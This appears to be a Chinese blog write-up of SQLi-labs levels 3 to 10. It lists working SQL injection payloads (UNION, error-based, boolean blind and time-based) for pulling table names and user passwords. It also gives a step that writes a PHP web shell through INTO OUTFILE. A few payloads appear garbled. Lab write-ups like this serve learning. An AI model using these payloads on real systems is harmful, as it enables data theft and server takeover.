SQL_lab总结1-10关

发布时间 2023-05-24 16:43:43作者: vaneshadow

第三关字符型注入测试

判断字段数

?id=1') and 1=1 order by 1 --+

image-20230318214415765

?id=1') and 1=1 order by 4 --+

image-20230318214504118

回显库名

?id=-1') union select 1,version(),database()--+

image-20230318215024935

or

爆破数据库

?id=-1%27)%20union%20select%201,version(),group_concat(schema_name) from information_schema.schemata--+

image-20230318215815467

爆破表名

?id=-1%27)%20union%20select%201,version(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

image-20230318220028295

爆破列名

?id=-1%27)%20union%20select%201,version(),group_concat(column_name)%20from%20information_schema.columns%20where%20table_name ='users'--+

image-20230318221222690

查询表中数据

?id=-1%27)%20union%20select%201,version(),group_concat(username,0x7e,password)%20from users--+

image-20230318221507725

第四关字符注入

同样的判断但是此次闭合的是")

image-20230319000242223

探库

image-20230319000354793

image-20230319000537945

剩下差不多

第五关

只有youarein 的回显

?id=1

image-20230319000625234

?id=1 and 1=2

image-20230319000707364

尝试闭合字符型

image-20230319001252137

?id=1') and 1=1 order by 1 --+

image-20230319002027744

但是报错有回显

image-20230319002126339

但条件错误没有回显

image-20230319002251148

所以可以使用报错注入,布尔盲注过于复杂

报错常用的三个函数, extractvalue(),updatexml(),floor(),还有exp(),演示前三个

  1. 用extractvalue函数进行报错注入。

?id=1' and或or extractvalue(1,concat(0x7e,database()或(select database()),0x7e)) --+

image-20230319005049265

更改concat中的第二个参数来获取想要的内容

如爆破数据库表

?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e))--+

group-concat()函数可能放不下所有内容,可以采用截取或者limit函数读取

爆破数据内容

?id=1' or extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))--+

2.用updatexml()函数进行报错注入

爆破数据库

?id=1' or/and updatexml(1,concat(0x7e,database()/(select database()),0x7e),1)--+

image-20230319005742864

还是更换第二个参数,不过要记得用括号包裹

例如爆破数据库表

?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+

3.通floor()函数进行报错注入,前提需要知道有多少字段数

爆破数据库

?id=-1' union select 1,count(),concat(0x7e,(database()),0x7e,floor(rand(0)2))x

from information_schema.tables group by x--+

(database())可换成要查询的字段

第六关和第五关的区别是闭合方式为"

第七关

image-20230319011710259

回显有提示 outfile

读取文件 load_file(文件的路径)

写入文件into outfile(),into_dumpfile()

image-20230319014649163

能试出来闭合为"))但是我偷懒了没戳

image-20230319015515712

字段数量一样猜解

关键步骤写入木马

?id=1')) and 1=2 union select 1,2,""%20 into outfile "X:\xx\xx\xx\xx\shell.php"--+

写完然后蚁剑进攻

为了防止电脑出现后门就不进行实际操作了

第八关

之前若1=2 则会报错显示但此关没有错误回显

错误就啥也没有了

image-20230319020320467

image-20230319020238955

image-20230319023918497

通过报错与否来判定字段长度

image-20230319023956620

image-20230319024011307

判断数据库名长度

?id=-1' or length(database()) = 8 --+

image-20230319024259685

image-20230319024313214

逐个猜测数据库名

逐一猜解数据库

?id=-1' or ascii(substr(database(),1,1))=115--+

或者

?id=-1' or ascii(mid(database(),1,1))=115--+

或者

?id=-1' or mid(database(),1,1)='s'--+

image-20230319024558911

image-20230319024620594

按照相同的方法猜解数据表的名字和字段内容

?id=-1' or ascii(mid(select (table_name) from information_schema.tables where table_schema=database() limit 1,1))=?--+

第九关延时注入

为啥延时注入,它怎么都不动,简直一模一样

额闭合是源码找到的

?id=1' and if(length(database())=8,1,sleep(5))--+

成立则直接返回,不成立则睡眠五秒

猜解数据库名称

?id=-1' or if(ascii(mid(database(),1,1))<=135,sleep(5),0)--+

相同的方式猜解数据表数据字段

?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

猜测第一个数据表的第一位是e,...依次类推,得到emails 二分法更快

?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

猜测users表的第一个列的第一个字符是i,

?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+

猜测username的第一行的第一位

以此类推,我们得到数据库username,password的所有内容

第十关和第九关相同的延时注入但是闭合为"